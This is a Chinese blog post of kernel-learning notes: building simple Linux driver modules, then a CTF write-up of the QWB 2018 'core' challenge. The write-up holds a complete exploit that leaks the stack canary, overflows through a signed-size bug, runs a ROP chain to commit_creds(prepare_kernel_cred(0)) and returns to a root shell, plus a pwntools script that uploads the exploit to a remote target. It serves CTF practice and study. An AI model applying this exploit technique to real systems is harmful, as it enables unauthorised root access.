0%

kernel入门

kernel入门

编译驱动程序

hello.c


/usr/src/linux-headers-4.4.0-174/ –> 该内核源码目录
/usr/src/linux-headers-4.4.0-174-generic/ –> 该内核编译好的源码目录


切到/usr/src/linux-headers-4.4.0-174-generic路径

然后make menuconfig,我照着大致修改了一下有些没有开启的东西(乱开一通系列…)

切回我们第一个想编译的程序路径

第一个驱动程序hello.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)
{
printk(KERN_ALERT "Hello, world\n");
return 0;

}

static void hello_exit(void)
{
printk(KERN_ALERT "Goodbye, cruel world\n");

}

module_init(hello_init);
module_exit(hello_exit);//module_exit会将这个函数

Makefile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# To build modules outside of the kernel tree, we run "make"
# in the kernel source tree; the Makefile these then includes this
# Makefile once again.
# This conditional selects whether we are being included from the
# kernel Makefile or not.
ifeq ($(KERNELRELEASE),)

# Assume the source tree is where the running kernel was built
# You should set KERNELDIR in the environment if it's elsewhere
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
# The current directory is passed to sub-makes as argument
PWD := $(shell pwd)

modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

modules_install:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules_install

clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

.PHONY: modules modules_install clean

else
# called from kernel build system: just declare what our modules are
obj-m := hello.o
endif

接着执行make

编译好了之后就可以在目录下看到这个文件(kenel object缩写)

1584795814785

使用sudo insmod hello.ko即可加载该驱动程序(模块) //此时会调用module_init设置的设备初始化函数

lsmod |grep hello可以看到驱动被成功加载

tail /var/log/syslog可以看到最后一行是程序的init加载就输出的内容

rmmod移除模块 //此时会调用module_exit设置的设备退出函数

tail /var/log/syslog也可以看到程序fini输出的内容了

IDA界面如下

1584962662551

其中printk似乎会在字符串前面加上一个1,左边就可以看到我们的驱动有init和exit两个函数了

在dev下增加驱动文件

参考来自:https://paper.seebug.org/779/#_2

这段代码很长,不过我主要只是理解了其中一个概念:struct file_operations scull_fops是啥

当然我当时编译的时候报错了,下面这段代码要加上一个这个,还有把raw_copy_...函数前面的raw_去掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h> /* printk() */
#include <linux/slab.h> /* kmalloc() */
#include <linux/fs.h> /* everything... */
#include <linux/errno.h> /* error codes */
#include <linux/types.h> /* size_t */
#include <linux/fcntl.h> /* O_ACCMODE */
#include <linux/cdev.h>
#include <asm/uaccess.h> /* copy_*_user */

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamael");

int scull_major = 0;
int scull_minor = 0;
int scull_nr_devs = 4;
int scull_quantum = 4000;
int scull_qset = 1000;

struct scull_qset {
void **data;
struct scull_qset *next;
};

struct scull_dev {
struct scull_qset *data; /* Pointer to first quantum set. */
int quantum; /* The current quantum size. */
int qset; /* The current array size. */
unsigned long size; /* Amount of data stored here. */
unsigned int access_key; /* Used by sculluid and scullpriv. */
struct mutex mutex; /* Mutual exclusion semaphore. */
struct cdev cdev; /* Char device structure. */
};

struct scull_dev *scull_devices; /* allocated in scull_init_module */

/*
* Follow the list.
*/
struct scull_qset *scull_follow(struct scull_dev *dev, int n)
{
struct scull_qset *qs = dev->data;

/* Allocate the first qset explicitly if need be. */
if (! qs) {
qs = dev->data = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs == NULL)
return NULL;
memset(qs, 0, sizeof(struct scull_qset));
}

/* Then follow the list. */
while (n--) {
if (!qs->next) {
qs->next = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs->next == NULL)
return NULL;
memset(qs->next, 0, sizeof(struct scull_qset));
}
qs = qs->next;
continue;
}
return qs;
}

/*
* Data management: read and write.
*/

ssize_t scull_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr; /* the first listitem */
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset; /* how many bytes in the listitem */
int item, s_pos, q_pos, rest;
ssize_t retval = 0;

if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
if (*f_pos >= dev->size)
goto out;
if (*f_pos + count > dev->size)
count = dev->size - *f_pos;

/* Find listitem, qset index, and offset in the quantum */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum; q_pos = rest % quantum;

/* follow the list up to the right position (defined elsewhere) */
dptr = scull_follow(dev, item);

if (dptr == NULL || !dptr->data || ! dptr->data[s_pos])
goto out; /* don't fill holes */

/* read only up to the end of this quantum */
if (count > quantum - q_pos)
count = quantum - q_pos;

if (raw_copy_to_user(buf, dptr->data[s_pos] + q_pos, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;

out:
mutex_unlock(&dev->mutex);
return retval;
}

ssize_t scull_write(struct file *filp, const char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr;
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset;
int item, s_pos, q_pos, rest;
ssize_t retval = -ENOMEM; /* Value used in "goto out" statements. */

if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;

/* Find the list item, qset index, and offset in the quantum. */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum;
q_pos = rest % quantum;

/* Follow the list up to the right position. */
dptr = scull_follow(dev, item);
if (dptr == NULL)
goto out;
if (!dptr->data) {
dptr->data = kmalloc(qset * sizeof(char *), GFP_KERNEL);
if (!dptr->data)
goto out;
memset(dptr->data, 0, qset * sizeof(char *));
}
if (!dptr->data[s_pos]) {
dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
if (!dptr->data[s_pos])
goto out;
}
/* Write only up to the end of this quantum. */
if (count > quantum - q_pos)
count = quantum - q_pos;

if (raw_copy_from_user(dptr->data[s_pos]+q_pos, buf, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;

/* Update the size. */
if (dev->size < *f_pos)
dev->size = *f_pos;

out:
mutex_unlock(&dev->mutex);
return retval;
}

/* Beginning of the scull device implementation. */

/*
* Empty out the scull device; must be called with the device
* mutex held.
*/
int scull_trim(struct scull_dev *dev)
{
struct scull_qset *next, *dptr;
int qset = dev->qset; /* "dev" is not-null */
int i;

for (dptr = dev->data; dptr; dptr = next) { /* all the list items */
if (dptr->data) {
for (i = 0; i < qset; i++)
kfree(dptr->data[i]);
kfree(dptr->data);
dptr->data = NULL;
}
next = dptr->next;
kfree(dptr);
}
dev->size = 0;
dev->quantum = scull_quantum;
dev->qset = scull_qset;
dev->data = NULL;
return 0;
}

int scull_release(struct inode *inode, struct file *filp)
{
printk(KERN_DEBUG "process %i (%s) success release minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}

/*
* Open and close
*/

int scull_open(struct inode *inode, struct file *filp)
{
struct scull_dev *dev; /* device information */

dev = container_of(inode->i_cdev, struct scull_dev, cdev);
filp->private_data = dev; /* for other methods */

/* If the device was opened write-only, trim it to a length of 0. */
if ( (filp->f_flags & O_ACCMODE) == O_WRONLY) {
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
scull_trim(dev); /* Ignore errors. */
mutex_unlock(&dev->mutex);
}
printk(KERN_DEBUG "process %i (%s) success open minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}

/*
* The "extended" operations -- only seek.
*/

loff_t scull_llseek(struct file *filp, loff_t off, int whence)
{
struct scull_dev *dev = filp->private_data;
loff_t newpos;

switch(whence) {
case 0: /* SEEK_SET */
newpos = off;
break;

case 1: /* SEEK_CUR */
newpos = filp->f_pos + off;
break;

case 2: /* SEEK_END */
newpos = dev->size + off;
break;

default: /* can't happen */
return -EINVAL;
}
if (newpos < 0)
return -EINVAL;
filp->f_pos = newpos;
return newpos;
}

struct file_operations scull_fops = {
.owner = THIS_MODULE,
.llseek = scull_llseek,
.read = scull_read,
.write = scull_write,
// .unlocked_ioctl = scull_ioctl,
.open = scull_open,
.release = scull_release,
};

/*
* Set up the char_dev structure for this device.
*/
static void scull_setup_cdev(struct scull_dev *dev, int index)
{
int err, devno = MKDEV(scull_major, scull_minor + index);

cdev_init(&dev->cdev, &scull_fops);
dev->cdev.owner = THIS_MODULE;
dev->cdev.ops = &scull_fops;
err = cdev_add (&dev->cdev, devno, 1);
/* Fail gracefully if need be. */
if (err)
printk(KERN_NOTICE "Error %d adding scull%d", err, index);
else
printk(KERN_INFO "scull: %d add success\n", index);
}


void scull_cleanup_module(void)
{
int i;
dev_t devno = MKDEV(scull_major, scull_minor);

/* Get rid of our char dev entries. */
if (scull_devices) {
for (i = 0; i < scull_nr_devs; i++) {
scull_trim(scull_devices + i);
cdev_del(&scull_devices[i].cdev);
}
kfree(scull_devices);
}

/* cleanup_module is never called if registering failed. */
unregister_chrdev_region(devno, scull_nr_devs);
printk(KERN_INFO "scull: cleanup success\n");
}


int scull_init_module(void)
{
int result, i;
dev_t dev = 0;

/*
* Get a range of minor numbers to work with, asking for a dynamic major
* unless directed otherwise at load time.
*/
if (scull_major) {
dev = MKDEV(scull_major, scull_minor);
result = register_chrdev_region(dev, scull_nr_devs, "scull");
} else {
result = alloc_chrdev_region(&dev, scull_minor, scull_nr_devs, "scull");
scull_major = MAJOR(dev);
}
if (result < 0) {
printk(KERN_WARNING "scull: can't get major %d\n", scull_major);
return result;
} else {
printk(KERN_INFO "scull: get major %d success\n", scull_major);
}

/*
* Allocate the devices. This must be dynamic as the device number can
* be specified at load time.
*/
scull_devices = kmalloc(scull_nr_devs * sizeof(struct scull_dev), GFP_KERNEL);
if (!scull_devices) {
result = -ENOMEM;
goto fail;
}
memset(scull_devices, 0, scull_nr_devs * sizeof(struct scull_dev));

/* Initialize each device. */
for (i = 0; i < scull_nr_devs; i++) {
scull_devices[i].quantum = scull_quantum;
scull_devices[i].qset = scull_qset;
mutex_init(&scull_devices[i].mutex);
scull_setup_cdev(&scull_devices[i], i);
}

return 0; /* succeed */

fail:
scull_cleanup_module();
return result;
}

module_init(scull_init_module);
module_exit(scull_cleanup_module);

makefile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

ifneq ($(KERNELRELEASE),)

obj-m := file_operations.o

else

KERN_DIR ?= /usr/src/linux-headers-$(shell uname -r)/
PWD := $(shell pwd)

default:

$(MAKE) -C $(KERN_DIR) M=$(PWD) modules

endif


clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

IDA界面如下

1584963141639

可以看到这边是一系列的对应的操作函数


驱动提供的接口是/dev/xxx,在Linux下Everything is File,所以对驱动设备的操作其实就是对文件的操作,所以一个驱动就是用来定义打开/读/写/……一个/dev/xxx将会发生啥,驱动提供的API(fops中指定的)也就是一系列的文件操作

struct file_operations scull_fops结构体中实现了的函数就会静态初始化上函数地址,而未实现的函数,值为NULL

结构体中实现的几个call,冒号右侧的函数名是由开发者自己起的,在驱动程序载入内核后,其他用户程序程序就可以借助文件方式像进行系统调用一样调用这些函数实现所需功能。

这里是一些已知的常见对应操作:

1
2
3
4
5
6
Events		User functions		Kernel functions
Load insmod module_init()
Open fopen file_operations: open
Close fread file_operations: read
Write fwrite file_operations: write
Close fclose file_operations: release

这里还有一些知识点,比如驱动分类,主次编号,什么的,我写的这些主要也是参考了这篇文章


之后insmod,此时虽然驱动已经加载成功了(dmesg可以看到驱动主编号是246,分别用四个次编号标记了4个设备,4个是怎么来的看上面代码就知道了)

1584964191239

但是此时并不会在/dev目录下创建设备文件,需要我们手动使用mknod进行设备链接

1584964631604

此时还可以指定设备类型,然后删除就直接使用rm就好了

这里记一下命令:
dmesg可以查看syslog
cat /proc/devices 中查看设备的类型(左边是主设备号,右边的是设备名)
mknod 设备名 设备类型(字符:c,块:b) 主设备号 从设备号

rmmod之后dmesg还可以看到一条scull: cleanup success

kernel pwn基础知识

这篇文章,中有这么一句话

如果驱动在init中执行了proc_create(“core”, 0x1B6LL, 0LL, &core_fops),文件名是“core”,而且在回调中实现了ioctl,那么其他用户程序就可以先fopen这个core获取文件指针fd,然后执行ioctl(fd,<参数>,<参数>)来进行具体操作,其他的fop中的回调接口函数也类似。

然后我就去看了ioctl是什么:


ioctl(input/output control)是一个专用于设备输入输出操作的系统调用,该调用传入一个跟设备有关的请求码,系统调用的功能完全取决于请求码

ioctl是设备驱动程序中对设备的I/O通道进行管理的函数。所谓对I/O通道进行管理,就是对设备的一些特性进行控制,例如串口的传输波特率、马达的转速等等。它的调用个数如下:

1
int ioctl(int fd, ind cmd, …);

其中fd是用户程序打开设备时使用open函数返回的文件标示符,cmd是用户程序对设备的控制命令,至于后面的省略号,那是一些补充参数,一般最多一个,这个参数的有无和cmd的意义相关。

ioctl函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。


差不多就是我们与驱动设备交互的一个函数吧,一般前两个参数是fd还有控制码,然后还有一句话

一个进程的在用户态和内核态是对应了完全不搭边儿的两个栈的,用户栈和内核栈既然相互隔离,在系统调用或者调用驱动、内核模块函数时就不能通过栈传参了,而要通过寄存器,像拷贝这样的操作也要借助具体的函数:copy_to_user/copy_from_user

就是说内核栈和用户栈是相互隔离的,然后通过寄存器传参

然后进入kernel态一般有如下情况:

  1. 系统调用

  2. 产生异常

  3. 外设产生中断

    等等

至于提权的话就是这些了:由于这些内核模块运行时的权限是root权限,因此我们将有机会借此拿到root权限的shell,流程上就是C程序exp调用内核模块利用其漏洞提权,只是提权后要“着陆”回用户态拿shell。提权代码是commit_creds(prepare_kernel_cred(0))

进入kernel态进行的操作

保存用户态的各个寄存器,以及执行到代码的位置

从kernel态返回用户态进行的操作

执行swapgs 和 iret 指令

一般的攻击思路

1584965699729


记一下命令:

查看所开保护cat /proc/cpuinfo
查看内核堆块 cat /proc/slabinfo
查看prepare_kernel_cred和commit_creds地址
grep prepare_kernel_cred /proc/kallsyms
grep commit_creds /proc/kallsyms


实操linux kernel ROP

强网杯2018-core

下载下来压缩文件之后看到有这几个文件:

1584966164347

其中对应的文件意思如下(来自星盟公开课的截图):

1584966068272

其中bzImage是打包的内核代码,可以用来寻找gadget

这里写一下师傅们的注意事项:

注意,vmlinux是未经压缩的,然而在core.cpio里面也有一个vmlinux,里面那个是起系统后真正的vmlinux,按理说这俩应该是一样的,单独拿出来是为了你方便分析,但是笔者亲测的时候发现这俩竟然不一样,可能是下载的时候弄错了?如果读者也遇到相同情况,不要用外面那个,一定要用core.cpio里面那个

start.sh中有以下内容

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ #这里开启了kaslr保护
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

我们可以自己再做一份rootstart.sh还有一个root.cpio,主要是用来调试

其中在sh文件最后加上gdb调试的选项:-gdb tcp::1234
还有比如关掉kaslr

新制作的root.cpio中则需要修改以下几点:

  1. cpio包中的init文件,里面有一行poweroff,是到时间自动关机的命令,可以取消掉
  2. 同样是init文件,setsid /bin/cttyhack setuidgid 1000 /bin/sh改成0000,这样就可以以root身份启动了

ps:这里就是整个系统的配置,如果发现有什么配置有问题的话说不定就非预期解了….然后系统初始化操作没有写在这里的话看看/etc/init.d/rcS,有时候初始化配置会写在这里

新制作的rootstart.sh就是这样:

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./root.cpio \ #用新的root.cpio启动
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ #nokslr
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-gdb tcp::1234 # gdb 调试端口

启动踩坑

然后启动….

但是启动的时候我疯狂踩坑,被坑了很久很久

那个-s就是代表了-gdb tcp::1234所以并不需要这一行….

然后qemu第一个报错是:Initramfs unpacking failed: incorrect cpio method used: use -H newc option,因为我在之前尝试用

cpio -idmv < core.cpio解包的时候就发现有点问题,所以我就用图形化界面的解包工具把cpio解包了之后再用find . | cpio -o --format=newc > ./root.cpio,把它重新打包了一下

接着发现还是起不起来,找了师傅们的博客,就又把上面.sh中的 -m 64改成了 -m 128

还是起不来(跪,报错:Kernel panic - not syncing: Out of memory and no killable processes…

本来以为是自己虚拟机的问题,先跑过去激活了之前忘记激活的swap分区…然后各种操作,最后….

找了半天原因,…..发现原来是师傅们的128也不行,改成 -m 256M跑起来了,也差不多懂了 qemu 的-m到底是干嘛的……

程序分析

啊….总算可以开始正式写题了

这里记一下一般kernel pwn的步骤吧,就照着师傅们写的来

第一步

先看init函数和fop结构体

1584974897309

可见驱动文件创建于proc下的core文件,在我们的用户程序中对ioctl等驱动函数的访问就是通过core文件来进行的

1584974842581

可以看到fop回调中只实现了如图三个回调,因此,虽然ida左侧的函数列表中还有core_read、core_copy_func但是这俩是驱动内部的函数,是不能由用户程序来调用的

ioctl

1584974968510

根据请求码执行相应的函数

core_read

1584975417499

这里的意思大概就是打印了off还有ioctl第三个参数的值

然后进行了一个类似memset的操作,接着从栈buffer的off偏移位置开始拷贝给用户64字节的数据

显然off如果可控的话就leak了canary或者其他一些东西

然而off在我们传入的控制码为0x6677889C时,就可以直接赋值为ioctl的第三个参数

core_copy_func

1584975853772

这个函数的意思就是ioctl的第三个参数如果大于0x3F时,就会detect到溢出然后直接返回,否则直接从name全局变量中拷入p3个字节的数据到v3这个栈buffer中,但是在memcpy时p3被转换成了unsigned __int16,所以我们在p3为负数时可以实现一个比较大的overflow

core_write

再来看注册过的write函数

1584976661640

user的buffer就是通过这个函数传给name,不过这里看不到v5的赋值

1584976821281

在汇编里面可以看到这个赋值是通过rsi来进行的

所以流程就是这样:

  1. 设置off值
  2. 泄露canary
  3. 把rop链写进name变量
  4. 利用无符号整型漏洞进行栈溢出写rop链

ret2user&exp

1584977702149

注意init脚本中拷贝了一份内核函数表到/tmp/kallsyms,可以供我们直接读到内核函数地址,此时读到的符号在开启kaslr下就是读到的kaslr后的地址,可以减去没有开kaslr时的偏移

对于kernel pwn的exp的话先看别人是怎么写的吧,然后自己再慢慢学着写,模板肯定都是差不多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void save_status();//保存用户状态时寄存器
size_t find_symbols();//查看/tmp/kallsyms找到kaslr下函数的地址
void getpwn();//跑/bin/sh

void core_copy_func(int fd,long long int size);
void core_read(int fd,char* buf);//这两个就是通过ioctl的操作码来和驱动设备交互了

size_t vmlinux_base = 0;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd<0)
{
puts("[*] open /proc/core error");
exit(0);
}
find_symbols();
size_t offset=vmlinux_base-raw_vmlinux_base;//raw_vmlinux_base是我们没有开启kaslr时的内核加载基址,这里就是算出aslr的offset
setoff(fd,0x40);//将off的值 设置成canary对应的偏移
char buf[0x40]={0};
core_read(fd,buf);//把canary读到这个buf数组里面去

size_t canary=((size_t *)buf)[0];
printf("[*] canary :%p\n", canary);
size_t rop[0x1000];
int i;
for(i=0;i<10;i++)
{
rop[i]=canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rdx=&'pop rcx; ret'
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; prepare_kernel_cred(0)返回值放到rdi
//call rdx:pop rcx 把call保存的rip放到rcx去,这一步没什么意义只是为了直接ret到下一条
rop[i++] = commit_creds;//执行commit_creds(rdi)

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;//为了gadget中的popfq

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 此时之前保存的用户态数据就有作用了
rop[i++] = (size_t )getpwn;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x800);//先用write写到name中,因为此设备的write是注册过的,所以可以直接用write写进去
core_copy_func(fd,0xffffffffffff0000 | (0x100));//然后开始core_copy实现栈溢出


return 0;
}
void core_copy_func(int fd,long long int size)
{
puts("[*] going core_copy_func");
ioctl(fd,0x6677889A,size);
}
void getpwn()
{
if(!getuid())
{
system("/bin/sh");

}
else
{
puts("[*] get shell error");
}
exit(0);

}
void core_read(int fd,char* buf)
{
puts("[*] going core_read");
ioctl(fd,0x6677889B,buf);
}
void setoff(int fd,int size)
{
puts("[*] going setoff");
ioctl(fd,0x6677889C,size);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

调试过程

现在有了exp还有思路当然要自己调试的看一看了,具体调试我使用的是pwndgb

先把编译好的exp打包进root.cpio中(解包打包操作前面有了)(编译命令是师傅教我的musl-gcc -static -O2 exp.c -o exp)

然后用./rootstart把qemu起起来,执行 gdb vmlinux

接着set architecture i386:x86-64target remote:1234

这里我调试的时候第一次断在了0xffffffffc00000cc,地址是通过root模式下lsmod显示的驱动base加上IDA中偏移后得来的,所以感觉nokaslr下调试会方便一些(有kaslr时感觉断点都不太好下),断的地方就是在core_read中copy_to_user处

1585008529686

断下来了之后是这样的

栈上的情况大致如下:

1585008988570

这里分别是canary、ebp(这个ebp似乎直接返回到用户栈去了)、返回地址(对应我们驱动中ioctl的地址)

copy_to_user之后就可以获得8*8个栈上的数据,当然就包括canary还有一些地址了

1585009204137

然后从内核态返回用户态似乎是从__do_softirq+328这里返回的

1585009743004

最后断在qmemcpy之后(中间的感觉不用断了…挺好理解的),可以看到栈上的数据已经被改成了各种gadget还有返回时需要的寄存器值

调试的时候log_buf_vmcoreinfo_setup+209好像就是执行prepare_kernel_cred(0)

msg_print_ext_body+227就是执行commit_creds(rdi)

1585010675845

最后执行到最后ret之前就是这样了,返回用户态执行/bin/sh(那个0x400430就是我们的getpwn),就是从ring0直接调用,所以弹给我们的就是root的shell了

至于这个程序的kaslr没有特意去绕是因为我们直接读取了/tmp/kallsyms,从而减去没有kaslr时的内核函数基地址就可以得到加载偏移,不过内核函数加载地址和我们驱动加载地址似乎是被kaslr映射在不同的地方的,需要的情况下得分别leak才行(比如我们上面read时leak了很多内容)

我们这个程序也刚好没有使用到驱动的gadget,所以只用leak内核函数基址就好了

./start脚本去实测的效果就是这样:

1585011340948

ps:这个kaslr似乎后很多位的off都是相同的

这里再给出一个CTF比赛时打远程的脚本(来自林国鹏师傅):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2019 saltedfish <17302010022@fudan.edu.cn>
#
# Distributed under terms of the MIT license.
from pwn import *
import sys
import os

context.log_level = 'debug'
cmd = '$ '

p=remote('192.168.3.255',1234)
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 exp.c -o exp')
os.system('gzip -c exp > exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64') #heredoc
r.sendline((read('exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()

exploit(r)